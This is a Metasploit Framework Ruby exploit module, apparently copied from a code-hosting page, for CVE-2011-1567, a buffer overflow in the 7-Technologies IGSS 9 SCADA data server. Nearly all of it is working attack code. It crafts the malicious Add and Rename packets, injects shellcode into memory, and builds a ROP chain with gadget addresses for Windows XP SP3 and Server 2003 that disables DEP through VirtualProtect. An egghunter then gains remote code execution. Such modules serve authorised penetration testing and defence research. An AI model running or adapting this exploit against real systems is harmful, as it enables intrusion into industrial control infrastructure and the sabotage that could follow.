324 lines
9.2 KiB
Ruby
324 lines
9.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
|
|
a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
|
|
a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
|
|
which results arbitrary code execution under the context of the user.
|
|
|
|
The attack is carried out in three stages. The first stage sends the final payload to
|
|
IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command
|
|
so the process can find a valid ID for the Rename command. The last stage then triggers
|
|
the vulnerability with the Rename command, and uses an egghunter to search for the
|
|
shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to
|
|
the small buffer size, which cannot even contain our ROP chain and the final payload.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc
|
|
'sinn3r', #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-1567'],
|
|
['OSVDB', '72352'],
|
|
['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
|
|
['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "seh",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP SP3',
|
|
{
|
|
'Ret' => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
|
|
'RopOffset' => 68, #Offset to the ROP chain
|
|
'Offset' => 500, #Offset to SE Handler (stack pivot)
|
|
'Max' => 8000, #Max buffer size
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2003 SP2/R2 SP2',
|
|
{
|
|
'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
|
|
'RopOffset' => 76, #Offset to the ROP chain
|
|
'Offset' => 500, #Offset to SE Handler (stack pivot)
|
|
'Max' => 8000, #Max buffer size
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Mar 24 2011"))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(12401, false),
|
|
]
|
|
)
|
|
end
|
|
|
|
#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
|
|
#triggering the vulnerable code path we're trying to hit. Without this, we'll just hit
|
|
#"FAILED renameDicRec. ID not found %s" (logText function).
|
|
def add_template(id)
|
|
buf = ''
|
|
buf << "\x9b\x00" #Packet size
|
|
buf << "\x01\x00\x34\x12"
|
|
buf << "\x07" #Opcode
|
|
buf << "\x00\x00\x00\x00\x00\x00\x00"
|
|
buf << "\x01" #Flag
|
|
buf << "\x00\x00\x00"
|
|
buf << "\x04" #Command (add)
|
|
buf << "\x00\x00\x00"
|
|
buf << id
|
|
buf << "\x00"
|
|
buf << "\x00"*31
|
|
buf << "\x78"
|
|
buf << "\x00"*63
|
|
buf << "\x78"
|
|
buf << "\x00"*28
|
|
|
|
connect
|
|
|
|
sock.put(buf)
|
|
|
|
print_status("Sending ADD command to #{datastore['RHOST']}")
|
|
res = sock.recv(1024)
|
|
|
|
disconnect
|
|
|
|
return res
|
|
end
|
|
|
|
#Since we don't have a lot of space on the stack when we trigger the overflow, we send a
|
|
#separate packet that contains our final payload, and let egghunter look for it later in memory
|
|
def inject_payload(my_payload)
|
|
|
|
buf = ''
|
|
buf << "\x01\x00\x34\x12"
|
|
buf << "\x0D" #Opcode
|
|
buf << "\x00\x00\x00\x00\x00\x00\x00"
|
|
buf << "\x01" #Flag
|
|
buf << "\x00\x00\x00"
|
|
buf << "\x01" #Command (ListAll)
|
|
buf << "\x00\x00\x00"
|
|
buf << my_payload
|
|
buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
|
|
buf << "\x00"*130
|
|
|
|
#Packet size
|
|
buf_size = [buf.length + 2].pack('v')
|
|
buf = buf_size + buf
|
|
|
|
connect
|
|
|
|
sock.put(buf)
|
|
print_status("Injecting payload in memory to #{datastore['RHOST']}")
|
|
|
|
disconnect
|
|
end
|
|
|
|
#It's definitely junk
|
|
def junk
|
|
return rand_text(4).unpack("L")[0].to_i
|
|
end
|
|
|
|
def sploit_rename(id)
|
|
#Egghunter is used because we don't really have a lot of space on the stack
|
|
#to fit the ROP chain and a larger payload
|
|
eggoptions =
|
|
{
|
|
:checksum => true,
|
|
:eggtag => 'W00T',
|
|
:depmethod => 'virtualprotect',
|
|
:depreg => 'esi'
|
|
}
|
|
|
|
hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
|
|
|
#depreg (Put VirtualProtect in ESI)
|
|
esi = "\x81\xf6\x16\x1b\x5f\x5e" #XOR ESI, 0x5E5F1B16
|
|
esi << "\x3e\x8b\x36" #MOV ESI, DWORD PTR DS:[ESI]
|
|
|
|
#Put depreg alignment
|
|
hunter = esi + hunter
|
|
|
|
#Send final payload first, and let egghunter look for it
|
|
inject_payload(p)
|
|
|
|
#Max ROP chain size we can use is 406 bytes
|
|
rop = [
|
|
:xchg_esp_ebp,
|
|
#0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll]
|
|
junk,
|
|
junk,
|
|
junk,
|
|
junk,
|
|
0x1B76A59E, #XCHG EAX,EBP # RETN [dao360.dll]
|
|
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
|
|
:add_eax_100,
|
|
#0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL]
|
|
|
|
#VirtualProtect Argument ([0x540214])
|
|
:xchg_eax_ecx,
|
|
junk,
|
|
junk,
|
|
junk,
|
|
:pop_eax,
|
|
0x3BABFD6D, #0x3BABFD6D xor 0x3BFFFF79
|
|
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
|
|
0x1b73f3bd, #MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll]
|
|
:xchg_eax_ecx,
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
|
|
|
|
#Retn:
|
|
:xchg_eax_esi,
|
|
#0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL]
|
|
0x1B8260DD, #ADD EAX,20 # RETN [Module : msjtes40.dll]
|
|
junk,
|
|
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
|
|
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
|
|
0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll]
|
|
:xchg_eax_ecx,
|
|
:mov_eax_esi_pop_esi,
|
|
#0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL]
|
|
0x5E0B1902, #:depreg initial value to xor
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
|
|
|
|
#Shellcode:
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
|
|
|
|
#Size (100 bytes -- enough for egghunter)
|
|
:xchg_eax_ecx,
|
|
:pop_eax,
|
|
:size_xor,
|
|
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
|
|
:xchg_eax_ecx,
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
|
|
|
|
#newProtect (0x40):
|
|
:xchg_eax_ecx,
|
|
:pop_eax,
|
|
0x3BFFFF39, #0x3BFFFF39 xor 0x3BFFFF79
|
|
0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll]
|
|
:xchg_eax_ecx,
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll]
|
|
|
|
#oldProtect
|
|
0x1B731395, #POP ECX # RETN [dao360.dll]
|
|
0x1B82B410, #.data section (WR) in msjtes40.dll
|
|
0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll]
|
|
|
|
#Align the rewind part
|
|
0x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll]
|
|
|
|
#Rewind
|
|
:rewind,
|
|
|
|
#Execute
|
|
0x1B72A833, #XCHG EAX,ESP # RETN [dao360.dll]
|
|
]
|
|
|
|
#OS specific gadgets
|
|
rop.map! do |gadget|
|
|
if gadget == :xchg_esp_ebp
|
|
(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
|
|
elsif gadget == :add_eax_100
|
|
(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
|
|
elsif gadget == :xchg_eax_esi
|
|
(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
|
|
elsif gadget == :xchg_eax_ecx
|
|
(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
|
|
elsif gadget == :mov_eax_esi_pop_esi
|
|
(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
|
|
elsif gadget == :pop_eax
|
|
(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
|
|
elsif gadget == :size_xor
|
|
(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
|
|
elsif gadget == :rewind
|
|
(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
|
|
else
|
|
gadget
|
|
end
|
|
end
|
|
|
|
rop = rop.pack('V*')
|
|
|
|
sploit = ''
|
|
sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
|
|
sploit << rop
|
|
sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
|
|
sploit << [target.ret].pack('V') #Pivot
|
|
sploit << make_nops(12) #Padding
|
|
sploit << hunter
|
|
sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)
|
|
|
|
#Create the packet with our naughty payload
|
|
pkt = "\x00\x04" #Funky size causes overflow
|
|
pkt << "\x01\x00\x34\x12"
|
|
pkt << "\x07" #Opcode
|
|
pkt << "\x00\x00\x00\x00\x00\x00\x00"
|
|
pkt << "\x02" #Flag
|
|
pkt << "\x00\x00\x00"
|
|
pkt << "\x02" #Command
|
|
pkt << "\x00\x00\x00"
|
|
pkt << id
|
|
pkt << "\x00"
|
|
pkt << sploit
|
|
|
|
connect
|
|
|
|
print_status("Sending malicious request to #{datastore['RHOST']}")
|
|
sock.put(pkt)
|
|
|
|
handler
|
|
|
|
#egghunter takes a few seconds, wait a bit before disconnect
|
|
select(nil, nil, nil, 3)
|
|
disconnect
|
|
end
|
|
|
|
def exploit
|
|
id = Rex::Text.rand_text_alpha(8)
|
|
|
|
res = add_template(id)
|
|
if res !~ /Report/i
|
|
print_error("Failed to add template:#{res}")
|
|
return
|
|
end
|
|
|
|
sploit_rename(id)
|
|
end
|
|
end
|